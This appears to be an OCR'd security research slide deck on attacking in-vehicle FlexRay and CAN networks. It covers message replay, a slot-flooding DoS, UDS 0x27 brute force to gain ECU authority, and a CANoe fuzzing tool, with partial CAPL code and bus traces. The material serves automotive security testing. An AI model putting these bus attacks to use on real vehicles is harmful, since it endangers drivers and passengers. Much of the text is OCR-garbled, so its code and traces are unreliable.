# (X 1. 441995 FR 1A 1..27 [ 0, 4]  Raw Frame 56 Rx 32 1 32 0 0 2 0 45224 0 0 0 0 ...0x20 VAL static 0

13 37 13 16

> | »

O O H - == O W

PO O O O O 0 O OO0 0 O O - -
“



FlexRay malicious news

Through message capture and replay analysis, it is determined that one byte of the FlexRay message
frame represents the amount of fragrance in the car. When the value is 0, a warning will be issued in
the car: the fragrance is exhausted.

Time Channel N. Identifier  Type Cycle Dir - DLC Data ] e
- [ 3. 679566 FR1A I..26 [ 1, 2] Raw Frame 7 Tx 32 [138 158 229 114 229 125 87 118 26 27 216 125 200 103 31 29 8 167 § 0 Q77 133 30 47 194 252 178 139 6 36 177 222 102] 2
#- Ry 3.341473 FR1A  B.57 PDU 3 Rx 32 00 0 0 0O 00O 0 00O 0 0 0 2 0 0 0220 0 0 0122 0 0 0 0 0 0 0 0 0
- (X 3. 341473 FR1A  B..57 [ 3,16] Raw Frame 3 Rx 32 00 0 00 00 00 0 0 0 0 2 0 0 02f/0 0 0 012 00 0 0 0 0 0 0 0

X 3. 342247 FR 1A 114 Data Frame 3 Rx 32 00 0 0 00O O 0O 0 0 00 0 0 0 0 0 00 0 0 0O 0 0O 0 0 0 0 0 0 0
#- Ry 3.343118 FR1A V.2 PDU 4 Rx 8 192 82 0 66 10 0 0 0
#- Ry 3.343118 FR1A V.. 2 PDU 4 Rx 24 36110 34113 36 0 5 0 0 0 0 0 5 0 0 O 00 0 0 0 0 ©
w [ 3.343118 FR1A V.. 2 [0, 4] Raw Frame 4 Rx 32 192 82 0 66 10 0 0O 0 36110 34113 36 0 5 0/0 0 0 0 5 0 0 0 0O 0O 0 O O O 0 O
#- Y 3. 343240 FR 1A I.. 4 PDU 4 Rx 8 192 86 0128 0 0 0 O
= (3 3. 343240 FR1A L. 4[0, 4] Rav Frame 4 Rx 32 192 86 0128 0 0 O 0O O 8176 8 0 O 0 24 0 8 21 16 0 0 0 0 O O O O O O 0 O
# R 3. 343301 FR1A B.. 5 PDU 4 Rx 8 192 8 0 64 10 0 0 0
- [3 3. 343301 FR1A B.. 5[0, 4] Raw Frame 4 Rx 32 192 89 0 64 10 0 0 0 0 0 O O O o O o o o o o o o o o o o0 o0 0 0o o0 o0 o0
#- Ry 3.343484 FR1A C. 38 PDU 4 Rx 8 208 83 4 0 66 2 0 O
- (¥ 3. 343484 FR1A C. 8[0, 4] Raw Frame 4 Rx 32 208 88 4 066 2 0 0O 0 0 0O 0 0O 0 0 O 0O O O 0O O 0O O O O O 0 O O 0 0 O
#- Ry 3.343972 FR1A D..16 PDU 4 Rx 32 00 0 0 015 0 0 0 0O 2 0 0813 0 5112 0 0 0 0 0 0 2 0 0 0 0 0 0 O
[ 3. 343972 FR1A D..16 [ 4,16] Raw Frame 4 Rx 32 00 0 0 015 0 0 0 0O 2 0 0813 0 5112 0 0 0 0 0 0 2 0 0 0 0 0 0 O
#- Ry 3.344033 FR1A  D.17 PDU 4 Rx 32 % 0 0 0 0 0 0132 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0O 0 0 0O 0 0 0 0
- [ 3. 344033 FR1A D..17 [0, 4] Raw Frame 4 Rx 32 % 0 0 0 0 0 013 0 0 0 0 0 0 0O 0 0 0 0 0O 0 0 0O 0 0O 0 0 0O 0 0 0 0
X 3. 9 FR 1 A 1..23 [ 0, 4] Null Frame 4 Rx 32
#-RY 3. 344521 FR1A L PDU 4 Rx 32 05 0 0 00 0O 0 0 0 0 0O 4 0188 0 1 0 0 0 0 00 0 0 2 0 0 0 0 5 0
[ 3. 344521 FR1A L 2] Raw Frame 4 Rx 32 05 0 0 0O OO 0 0 O0O 0 O 4 018 0 1 0 0 0 0 0 0 0 0 2 0 0 0 0 5 0
# Ay 3. 344582 FR1A I. PDU 4 Rx 32 o o0 o0 o0 o0 o0 o0 1 0 O O O O O O 0128 0O O O O O O 0147232 6237 40 O 0 128
- (X 3. 344582 FR1A L 2] Raw Frame 4 Rx 32 00 0 000 0O 1 0 O0O 0 0 0O 0 0 012 0 0 0 0 0 0 0147232 6237 40 0 0 128
#RY 3. 344643 FR1A L PDU 4 Rx 32 132 013 0 2 0 45224 0 37 0 0 13 16 0 0128 0 16128 0O 0 O O 4 O 0130 33 33 33
o [ 3. 344643 FR14A I. 4] Raw Frame 4 Rx 32 1 32 013 0 2 0 45224 0 37 0 0 13 16 0 0128 0 16128 0 0 O O 4 0 0130 33 33 33
X] 3. 345009 FR 1 A 4 Rx 32
X FR 1A Rx 32
X[ 3. 345131 FR1A 4 Rx 32 Y
- R 3. 345192 FR1A C.36 4 Rx 32 14197 0 0 0 0O 0 20 8 30192 0 2 9 0 0 0 0 0 O O 0140240 0 0 0O O 0O 0 0 0 %




FlexRay Dos attack

By occupying all the time slots of FlexRay, all normal communication packets of FlexRay cannot work,
thus forming a DOS attack.

Time Channel N. Identifier  Type Cycle Dir - DLC Data Frame State Fr
[X 8. 717594 FR1A D.. 6 [0, 4] Raw Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
[X 8. 717655 FR1A 7 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA

W Ry 8. 717716 FR1A C.. 8 PDU 60 Tx 8 255 255 255 255 255 255 255 255 0x20 VA
- [X 8. 717716 FR1A Cc.. 80, 4] Raw Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
X 8. 717777 FR1A 9 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
H ARy 8. 717838 FR1A AL 10 PDU 60 Tx 8 255 255 255 255 255 255 255 255 0x20 VA
- [3 8. 717838 FR1A A..10 [0, 4] Raw Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
X 8. 717899 FR1A 11 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
B Ry 8. 717960 FR1A S.. 12 PDU 60 Tx 8 255 255 255 255 255 255 255 255 0x20 VA
Ry 8. 717960 FR1A S.. 12 PDU 60 Tx 24 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
- [X 8. 717960 FR1A S..12 [0, 4] Raw Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
[X 8. 718021 FR1A 13 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
[X 8. 718082 FR1A 14 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
B Ay 8.718143 FR1A AL 15 PDU 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
- [X 8. 718143 FR1A A..15 [0, 4] Raw Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
[X 8. 718204 FR1A 16 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
H- ARy 8. 718265 FR1A D.. 17 PDU 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
& IE, 8. 718265 FR1A D..17 [ 0, 4] Raw Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
[X 8. 718326 FR1A 18 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
[X 8. 718387 FR1A 19 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
B Ay 8. 718448 FR1A S.. 20 PDU 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
- [X 8. 718448 FR1A S.. 20 Raw Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
[X 8. 718509 FR1A 21 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
[X 8. 718570 FR1A 22 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
B Ay 8. 718631 FR1A I..23 PDU 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
& E 8. 718631 FR1A I..23 [ 0, 4] Raw Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
[X 8. 718692 FR1A 24 Data Frame 60 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA
Ay 8. 722289 FR1A V.. 1 PDU 61 Tx 32 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 ... 0x20 VA



FlexRay Protocol Principle
FlexRay static frame attack method

FlexRay dynamic frame attack method



FlexRay Diagnostic message

Before attacking the FlexRay diagnostic message, you can traverse all ECU nodes by traversing
the sending 10 01 service to obtain the ECU addresses that respond to all response messages and

narrow the range of attack IDs. Targeted only FUZZ the response ECU to improve the attack efficiency.

y'd -0 PP-HBE B - Configuration2 * [Real Bus] - Vector CANoe /pro - @ X
Home  Analysis = Simulation = Test Diagnostics  Environment Hardware Tools  Layout A @
4 N -’.
= =
e = i 5 g k:
System and Optional Binding Simulation =~ Model Generation Node/Network Security Application PDU Interactive Automation Signal
Communication Setup ~ Activation ~ Setup v Wizard Panels Configuration Panel ~ Generator ~ Generators
Setup Simulation Stimulation
B Trace - o X = Simulation Setup
BRI %NEY H x At By ‘<Search> v BB, =i =- A~ L - [l FlexRay ~ W
ﬁ Time Channel Name Slot Type Cycle D..- Le.. Payload Fra.. Fra..? "ﬁ’FlelxRay Clus
g o[ 2942.942171 FR 1 A 63  Raw Frame 2 Tx 6 16 1 0 0 0 0 0 0 0 ..0x20 VAL A b '”E _\-eoﬁli?
b= o[ 2942.942261 FR 1 A 64  Data Frame 2 Tx 64 % 1 0 0 0 0 0 0 0 ... 0x20 VAL /B 2914
: 2942.942351 FR 1 A 65  Data Frame 2 Tx 64 % 1 0 0 0 0 0 0 0 ... 0x20 VAL :éﬂtiraCﬁ‘
Ry 2942.942441 FR 1 A 66  PDU 2 Tx 32 16 1 0 0 0 0 0 0 0 .. 0s20 VAL cluster L o Dotaboses.
FlexRay
- [X 2942.942441 FR 1 A 66 Raw Frame 2 Tx 64 6 1 0 0 O O O O 0 ... 0x20 VAL T—————————— Flexay 1 & Backbo. .
: 2942.942531 FR 1 A 67  Data Frame 2 Tx 64 % 1 0 0 0 0 0 0 0 ... 0x20 VAL g * » Channel
Ry 2942.942621 FR 1 A 68  PDU 2 Tx 32 % 1 0 0 0 0 0 0 0 ... 0x20 VAL
- (X 2942. 942621 FR 1 A 68 Raw Frame 2 Tx 64 6 1 0 0 O O O O O ... 0x20 VAL
R 2942.942711 FR 1 A 69 PDU 2 Tx 32 6 1 0 0 O O O O O ... 0x20 VAL
(% 2942.942711 FR 1 A 69 Raw Frame 2 Tx 64 6 1 0 0 0 0 0 0 0 ... 0x20 VAL
Ry 2942.942801 FR 1 A 70  PDU 2 Tx 32 % 1 0 0 0 0 0 0 0 ... 0x20 VAL
- [X 2942.942801 FR 1 A 70 Raw Frame 2 Tx 64 66 1 0 0 0 0 0 0 0 ...0x20 VAL
Ry 2942.942891 FR 1 A 71 PDU 2 Tx 32 6 1 0 0 O O O O 0 ... 0x20 VAL
- [X 2942.942891 FR 1 A 71 Raw Frame 2 Tx 64 % 1 0 0 O O O O 0 ... 0x20 VAL
Ry 2942.942981 FR 1 A 72 PDU 2 Tx 32 % 1 0 0 0 0 0 0 0 ... 0x20 VAL
o[ 2942.942981 FR 1 A 72 Raw Frame 2 Tx 64 % 1 0 0 0 0 0 0 0 ... 0x20 VAL Y
2 < >
< > \FIexRay/ < >




FlexRay Diagnostic message

y 4 - P-H B B - Configuration2 * [Real Bus] - Vector CANoe /pro

Home  Analysis = Simulation = Test Diagnostics  Environment Hardware  Tools  Layout

. =5 2 o= &8 3! = =
Preca UtlonS: System and Optional Binding Simulation =~ Model Generation Security Application  Interactive PDU Interactive FR Frame FR
Communication Setup ~ Activation ~ Setup Wizard Configuration Panel ~ Generator Generator ~ Pane Pa
Setup Simulation Stimulation
B Trace — o X
. P RIY M x At[Elg=E]700 | <Search> PN - T ke~ =~ A'- L~ i FlexRay ~
In the dynamIC message 3 Time Channel Name Slot Type Cycle D..» Le.. Payload Fra.. Fra.. *
ﬁ Y 6486.673714 FR 1 A 66 PDU 16 Tx 32 207 147 208 85 40 198 71 39 217 ... 0x20 VAL 2
. . . g + - [X 6486.673714 FR 1 A 66 Raw Frame 16 Tx 64 207 147 208 85 40 198 71 39 217 ... 0x20 VAL
d|ag nosth frame the t|me Slot w0 [%] 6486.673804 FR 1 A 67 Data Frame 16  Tx 64 159 194 177 103 1 17 93 138 250 ... 0x20 VAL
) Ry 6486.673894 FR 1 A 68 PDU 16 Tx 32 148 47 184 39 8 121 105 52 85 ... 0x20 VAL
+ - [X] 6486.673894 FR 1 A 68 Raw Frame 16 Tx 64 148 47 184 39 8 121 105 52 85 ... 0x20 VAL
d t b H t d b f Ay 6486.673984 FR 1 A 69 PDU 16 Tx 32 178 156 238 79 202 172 145 251 126 ... 0x20 VAL
nee S O e regls ere e Ore + - [X 6486.673984 FR 1 A 69 Raw Frame 16 Tx 64 178 156 238 79 202 172 145 251 126 ... 0x20 VAL
’ A 6486.674074 FR 1 A 70 PDU 16 Tx 32 130 173 160 79 245 134 163 177 189 ... 0x20 VAL
. . & E 6486.674074 FR 1 A 70 Raw Frame 16 Tx 64 130 173 160 79 245 134 163 177 189 ... 0x20 VAL
Sendlng data, Otth'Wlse the ' Ry 6486.674164 FR 1 A ! PDU 16 Tx 32 62219 172 30 10 128 237 81 31 ... 0x20 VAL
- [ 6486. 674164 FR 1 A 71 Raw Frame 16 Tx 64 62 219 172 30 10 128 237 81 31 ... 0x20 VAL
Ry 6486.674254 FR 1 A 72 PDU 16 Tx 32 26 55 71234 99 85251 13 225 ... 0x20 VAL
message Cannot be Sent norma”y [ 6486.674254 FR 1 A 72 Raw Frame 16 Tx 64 26 55 71234 99 85251 13 225 ... 0x20 VAL
" Ry 6486.678264 FR 1 A 61 PDU 17 Tx 32 9 76 29 134 178 71 240 212 227 ... 0x20 VAL
+ - [X] 6486.678264 FR 1 A 61 Raw Frame 17 Tx 64 9 76 29 134 178 71 240 212 227 ... 0x20 VAL
] [ Ay 6486.678354 FR 1 A 62 PDU 17 Tx 32 99 250 10 245 108 49 141 228 124 ... 0x20 VAL M
There IS no requlrement for the - [% 6486.678354 FR 1 A - 62 Raw Frame 17 Tx 64 99 250 10 245 108 49 141 228 124 ... 0x20 VAL ¥
< >
lecti f the ti lot, onl e
selection of the time slot, only T
Source S
4 H H H ® System Slot ID 30 is not configured for the dynamic segment!
reg|strat|0n IS reqUIred- ® System Slot ID 23 is not configured for the dynamic segment!
® System Slot ID 58 is not configured for the dynamic segment!
! @ System Slot ID 48 is not configured for the dynamic segment!
® System Slot ID 55 is not configured for the dynamic segment!
i) System Slot ID 38 is not configured for the dynamic segment!
@ System Slot ID 1 is not configured for the dynamic segment!
® System Slot ID 52 is not configured for the dynamic segment!

Overview System Program / Model | Test



FlexRay Diagnostic message

In CANoe's Frame Panel, a single FlexRay diagnostic message can be sent to dynamically
analyze the ECU response, which is more flexible than the CAPL script.

B2 Frame Panel —
= Static Frames = Dynamic Frames
[ Dynamic Frames
Action Name Id Offset Repetition Cluster Channel PP Tx Flag Initial Tx Lengt...
RS Adme 131 0 v 164 Vi1 v A i ] Event Triggered i 8
© ECE g i B e friggered
£ Ven 88 0 vl V1 v A v| [ |Event Triggered v 22
o Vel 89 0 v [1 v |1 v (A v| [ |Event Triggered v 22
Add Frame. .. Add Row Delete Row Help
Payload View Selected Byte: 8
= Raw Data View ~ Signal View
Range 0 1 2 3 4 5 6 78 911111111112 2 2.2 2 2 2.2 2 2 3.3
0 - 31 22 1 14 128 64 2 o210 0000000000
DEC




FlexRay dynamic frame attack

The UDS 27 service uses brute force to try to obtain the highest authority. The ECU has no deadlock
penalty mechanism. After a period of traversal, the authority is successfully obtained. Can

communicate with ECU normally.

Time Chan... Name Slot « Type Cycle Dir Length Payload Fri2
W A 12.125535 FR 1A 5 PDU 2 Rx 32 112 150 L0 A
W A 12.135535 FR 1A 5 PDU 4 Rx 8 0Ox
+ %] 12.135535 FR 1 A 5[0, 4] Raw Frame 4 Rx 32 .. Ox
- [¥] 12.140535 FR 1 A 5[1, 2] Raw Frame 5 Rx 32 2 0 .. 0x
= [ 12. 125535 FR 1 A 5 [ 2, 4] Raw Frame 2 Rx 32 112 150 .. Ox
Ay 12.140657 FR 1 A 7 PDU 5 Rx 32 75 68 34 180 162 68 54 35 .. Ox
Ay 12.125657 FR 1A 7 PDU 2 Rx 32 0 202 0 53 .. Ox

>
0 7 11.835665 FR 1 A 7 PDU 8 Re 32 143 12 {120 0202 40152 0 016112 053 0 0 0 0 0 0 0 022 0 0 0O 0O 0O OO OO O327f
- [X 12.140657 FR 1 A 701, 21 Raw Frame 5 Rx 32 75 68 34 180 16268 54 35 .. 0x
[ 12.125657 FR 1 A 7 [2 4] Raw Frame 2 Rx 32 0 202 0 53 .. Ox
[ 11.835665 FR 1 A 7 [ 8,64] Raw Frame 8 Rx 32 143 12 .. 0x
ALY T2 I407I8 IR I & i PDC 5 =3 7T 0 L 7 o0 0I® U0 0 0 0IZ 2T . 0x
# A 12.125718 FR 1 A 8 PDU 2 Rx 32 15 128 58 185 192 80 12 91 144 27 .. Ox
# Ay 12.130718 FR 1 A 8 PDU 3 Rx 32 64 1 64 182 .. 0x
WAy 12.135718 FR 1 A 8 PDU 4 Rx 8 0x
+ [% 12.135718 FR 1 A 8 [0, 4] Raw Frame 4 Rx 32 .. 0x
+ [ 12.140718 FR 1 A 8 [ 1, 4] Raw Frame 5 Rx 32 171 0 24 7 45 0 0128 0 0 O 0114 144 .. Ox
w- (% 12.125718 FR 1 A 8 [ 2, 4] Raw Frame 2 Rx 32 15 128 58 185 192 80 12 91 144 27 Lo 0x Y
+[¥]12.130718 FR 1 A 8 [ 3, 4] Raw Frame 3 Rx 32 64 1 64 182 .. 0x]

< >



I05 In-vehicle bus FUZZ principle



FUZZ tool

Finally, | will introduce the FUZZ tool for the in-vehicle bus. For in-vehicle network attacks,
researchers often take a lot of time in the process of packet capture and analysis and field
determination. Using FUZZ to conduct attack research on vehicles, many such as stack overflow,
heap overflow, backdoor instructions, and malicious messages can be found. Wait. The FUZZ tool not
only saves researchers a lot of time and improves work efficiency, but also can often find the

problems of the in-vehicle bus more comprehensively.

We have developed a set of CANoe-based CAN and FlexRay bus FUZZ tools for the security

experiment of the Internet of Vehicles. In the future, we will open source this tool to github at the right
time. This tool can automate FUZZ in-vehicle CAN and FlexRay networks, automatically form analysis

reports, and efficiently and comprehensively determine many problems in the in-vehicle network.



Attack instances
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FUZZ Tool principle

One: First select the FUZZ mode (efficient, comprehensive, single-frame, multi-frame, etc.).
Two: Obtain the status of the target ECU and determine that the status of the target ECU is normal.

Three: Send the constructed message data (generated according to the FUZZ mode), and save the
sent message log at the same time.

Four: Periodically monitor the ECU status to determine whether the ECU status is nhormal.
Five: If normal, repeat three and four.
If an exception occurs, send UDS 11 service to restart the ECU.

Replay the messages in the log and monitor the ECU status. If the abnormal state can be
reproduced, record the message and generate a FUZZ report.



FUZZ Tool schematic diagram

Start
choice FUZZ
model

CAN
Application
FUZZ

\ J

FlexRay
Application
FUZZ

CAN
UDS FUZZ

FlexRay
UDS FUZZ

Special
attack

A |

Read the
current ECU
status

<

Generate
——— | the message
and send it

Normal

ECU

Reconfirm the
current status of the

abnormality

Determine
the fault and
locate the
message sent

Generate
the FUZZ
report

Generate
the FUZZ

Clear DTC
and Restart
the ECU

report

Read the ECU
status again to
confirm the
fault

Send the
p| message

that caused
the problem




Application scenarios
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It can be used not only on
the entire vehicle, but also
on the individual ECU.




FUZZ Code introduction

on message *

{ filtration
if((Fuzz Model!=5%‘(‘FUZZ_Mode1!=6)&&(FUZZ_Mode1!=7)){
if(dthis.dir==Rx)&&((FUZZ_Model!=5) || (FUZZ_Model!=4))){
on message if((FUZZ Model==1) | | (FUZZ_Model==2)){
for(Rxcount=0;Rxcount<=FUZZ_1_ECU_Count_All;Rxcount++){

if(FUZZ1_Response_ECU_ID_All[Rxcount] == (this.id-8) ){

Monitor messages sent and ReceiveData[@]=this.id;
. ReceiveData[1]=this.byte(®@);
recelved on the bUS ReceiveData[2]=this.byte(1); EUC |D

ReceiveData[3]=this.byte(2);
ReceiveData[4]=this.byte(3);| —=> CAN Message

Select the Rx or Tx message ReceiveData[5]=this.byte(4);
. . ReceiveData[6]=this.byte(5);
through thlS.dlr. ReceiveData[7]=this.byte(6);

ReceiveData[8]=this.byte(7);
if((this.byte(0)<o0x20)[[((this.byte(1)!=0x50)8&&(this.byte(2)!=0x01))){

SeleCt the ECU ID by thISId RecordLog(ReceiveData,9,tmpErr_Str,0);
Yelse{
. RecordLog(ReceiveData,FUZZ_1_ECU_Count_All,tmpErr_Str,3);
Filter message bytes by }
this.byte(0x0). y?

}else if((FUZZ_Model==3)&&(FUZZ_1_ECU_Flag All==0)){
ReceiveData[0]=this.id;

on Error ReceiveData[1l]=this.byte(0);

: ReceiveData[2]=this.byte(1);
Monitor the error on the bus and ReceiveData[3]-this.byte(2):
analyze the cause of the error. i |+ 1=this.byte(3);

ReceiveData[5]=this.byte(4);
ReceiveData[6]=this.byte(5);

Output() sends CAN message L T



FUZZ Code introduction

For the attack chain structure of the
CAN diagnostic message, the FUZZ
tool lists one item and performs the
detection in sequence. The test for 27
services takes a long time.

CAN and FlexRay are similar to FUZZ
for diagnostic messages, the main
difference is that the diagnostic
messages of FlexRay are sent using
dynamic frames. The construction of the
message constructs the data according
to the previous research on UDS.

{

//********1'
//********2.
//********3.
//********4'
//********5'
//********6'
//********7'
//********8.
//********9.

Dos attack
Bus malicious message terminated

No
SF

precondition reset
scan

DiagID scan
DID scan
SID scan
Data scan
Data tamper

[/ ¥FFFEEEXIQ - 27 Seed length scanning

[/ FFFFEEEEL] . 27 Probing the number of security authentication errors
[/ ¥FFFEEEER]D 27 Brute force testing

[/ FFFFEXEE]I 27 Random number strength detection

[/ FFRFFEEEERIA 28 Writing malicious data disrupts the system

[/ ¥FFFFFXERIS - QF Malicious control of engine and other actions.
// Request_Msg.id=0x7DF;

// Request Msg.dlc=8;

// Request_Msg.byte(0)=0x2;

// Request Msg.byte(1)=0x11;

// Request Msg.byte(2)=0x01;

// Request_Msg.byte(3)=random(@xFF);

// Request_Msg.byte(4)=random(@xFF);

// Request_Msg.byte(5)=random(OxFF);

// Request Msg.byte(6)=random(OxFF);

// Request Msg.byte(7)=random(OxFF);

// Request_Msg.can = 1;

// output(Request_Msg);



FUZZ Code introduction

byte SeedLog_Count;
on frFrame*() J/HFREREL. il A kik H A
. byte RecordLog Flag=0;
Monitor FlexRay bus data. byte SeedLog Flag=o:
/ [ BHE  4 5 [a) AR

testWaitForTimeout() char tmpErr_Str[Z%L
Delay function, the standard '}
response time of ECU is /1A B B FIAT 2 s e
50ms, so the function on on frFrame*{
frFrame™®() that monitors the [/ N EREL, RFEE B E I, B )23 TT IR R MR S T
bus will not be able to 1f(this.dir == Rx){
) i if(1==FUZZ_Model){

monitor the bus data if the if((this.byte(0)==0x50)8&&(this.byte(1)==0x01)8&(this.byte(2)==0x00)){
delay function is not added. / /¥ B LR A7 B Log H .

for(RecordLog_Count=0;RecordLog Count<=31;RecordLog Count++){
frOutputDynFrame() RecordLog Data[RecordLog Count+1]=this.byte(RecordLog Count);

. }
Send dynamic message / /#4S01 t ID{RAE B % o .
frame function. RecordLog Data[0]=this.fr‘_slot\ID;
/I EH R A 5 N B Log H &,

R dL R dL Data,33,tmpE Str,0);
frUpdateStatFrame() }ecor og(RecordLog_Data, 33, tmpErr_str,0);
Send static message frame Yelse if(2==FUZZ Model){

funCtion laleca iF/(2——E1177 MaAAal1\TS



FUZZ Code introduction

void Model_2_Diagnose()
{
for(Diag_LoopCount=1;Diag_LoopCount<=@xFFFF;Diag_LoopCount++){
for(Diag_LoopDataCount=0;Diag_LoopDataCount<=31;Diag_LoopDataCount++){
. . . FlexrayRequest_Msg.byte(Diag_LoopDataCount)=0;
Example Of dlagnOStIC message FlexrayRequest_Msg.fr_slotID=Diag_Slot_ID_Count;

Diag_Slot_ID_Count++;
if(Diag_Slot_ID_Count>=100){

Dynamic Diagnosis Message Construction Diag_Slot_ID_Count=1; o
, } Destination Address
. . . 1 .b = 5
Destination address + source address + fixed kpeliciabiyitapedors s
byte + reserved bit + diagnostic message FlexrayRequest_tisg.byte(2)-oxt; | > Source Address
FlexrayRequest_Msg.byte(3)=0x80;
Because of the FlexRay message setting, the LexrayReauest_teg byte(@-avaey] — . |mmobilization
sending channel needs to be selected. FlexrayRequest_Msg.byte(5)=ex02;| _—» Retain
FlexrayRequest Msg.byte(6)=0x00;
i i i FlexrayRequest_Msg.byte(7)=0x02; .
The dyqamlc dlagnqstlc message frame has e e o e o] — Diagnose Message
no requirement for time slots. FlexrayRequest_Msg.byte(9)=0x01;

FlexrayRequest_Msg.fr_cycleRepetition=1;
FlexrayRequest_Msg.msgChannel=1;

The static message frame needs to select the FlexrayRequest Meg. fr PayloadLength=32;
correct time slot to send the message. froutputDynFrame (FlexrayRequest_fsg);

testWaitForTimeout(50);



FUZZ Attack sample

y 4 ~-® I -H Iﬂ B - Configuration2 * [Real Bus] - Vector CANoe /pro

Home  Analysis = Simulation = Test Diagnostics Environment Hardware Tools Layout

5 ¥ &=m O B O} B B B E |

System and Optional Binding Simulation = Model Generation Node/Network Security Application  Interactive  PDU Interactive FR Frame F|
Communication Setup ~ Activation ~ Setup ~ Wizard Panels Configuration Panel~  Generator Generator Panel P.
Setup Simulation Stimulation
Trace — 0O X
RIMEEEYIH x At[EUfiE]" | <Search> vy == TRl =- A~ L- [aFlexRay -
B Time Channel Name Slot Type Cycle D..- Le.. Payload Fra... Fra..|?
§ Ay 6486. 673714 FR 1 A 66 PDU 16 Tx 32 207 147 208 85 40 198 71 39 217 ... 0x20 VAL “
g E 6486. 673714 FR 1 A 66 Raw Frame 16 Tx 64 207 147 208 85 40 198 71 39 217 ... 0x20 VAL
6486. 673804 FR 1 A 67 Data Frame 16 Tx 64 159 194 177 103 1 17 93 138 250 ... 0x20 VAL
Ay 6486.673894 FR 1 A 68 PDU 16 Tx 32 148 47 184 39 8 121 105 52 85 ... 0x20 VAL
6486. 673894 FR 1A 68 Raw Frame 16 Tx 64 148 47 184 39 8 121 105 52 85 ... 0x20 VAL
Y 6486. 673984 FR 1 A 69 PDU 16 Tx 32 178 156 238 79 202 172 145 251 126 ... 0x20 VAL
6486.673984 FR 1 A 69 Raw Frame 16 Tx 64 178 156 238 79 202 172 145 251 126 ... 0x20 VAL
’ Y 6486. 674074 FR 1 A 70 PDU 16 Tx 32 130 173 160 79 245 134 163 177 189 ... 0x20 VAL
E 6486. 674074 FR 1 A 70 Raw Frame 16 Tx 64 130 173 160 79 245 134 163 177 189 ... 0x20 VAL
’ Y 6486. 674164 FR 1 A 71 PDU 16 Tx 32 62 219 172 30 10 128 237 81 31 ... 0x20 VAL
Ig 6486. 674164 FR 1 A 71 Raw Frame 16 Tx 64 62 219 172 30 10 128 237 81 31 ... 0x20 VAL
Y 6486. 674254 FR 1 A 72 PDU 16 Tx 32 26 55 71234 99 85 251 13 225 ... 0x20 VAL
E 6486. 674254 FR 1 A 72 Raw Frame 16 Tx 64 26 55 71234 99 85 251 13 225 ... 0x20 VAL
Ry 6486.678264 FR 1 A 61 PDU 17 Tx 32 9 76 29 134 178 71 240 212 227 ... 0x20 VAL
Ig 6486. 678264 FR 1 A 61 Raw Frame 17 Tx 64 9 76 29 134 178 71 240 212 227 ... 0x20 VAL
Ay 6486.678354 FR 1 A 62 PDU 17 Tx 32 99 250 10 245 108 49 141 228 124 ... 0x20 VAL N
[ 6486.678354 FR 1 A 62 Raw Frame 17 Tx 64 99 250 10 245 108 49 141 228 124 ... 0x20 VAL §



FUZZ attack sample

Txp3D 24 90 E2 C6 9A 99 FA 58 01 BE F4 81 B9 34 4C B8 8A A7 3D F1 1B CC CB A0 FC 30 29 42 9E D2 EC 73 |

Tx:3E 58 EC 24 BD 2F E2 E9 FO E6 FD 8A B4 9E 83 2E 1A FB D8 79 AF D8 30 1D B8 43 79 4F 26 A4 7D DO 84
Tx:3F 3A 31 24 73 EC 08 AB CO 88 DO 58 95 DO CA FO 66 2D 87 23 FO E3 17 3B 88 B3 16 74 88 FD F6 1B 93
Tx:40 02 F7 FD E6 6D CB 66 8E A9 22 A5 6A 15 FC A8 19 80 4C E5 65 86 B6 D3 54 5C 78 8F 2C C9 89 44 0D
Tx:41 74 98 C5 9C 07 BC 74 6E 10 9D 7C 96 9F 2F BO CO 08 OE 55 66 64 38 CC 72 06 31 16 DC BD 24 D8 26
35 Tx:42 67 D6 A2 F4 67 F1 04 DC 74 86 D1 26 DC 1E Fo6 21 21 6E 00 59 CE 8E 6C 4A 0C 96 B3 5D 90 5F AA 78
Tx:43 41 6F 1C 7E D5 10 22 E3 92 AB 54 2C B8 6D CA 41 40 FA 69 15 8C 08 6D 6F 18 F2 35 EO DO 5C 26 CB
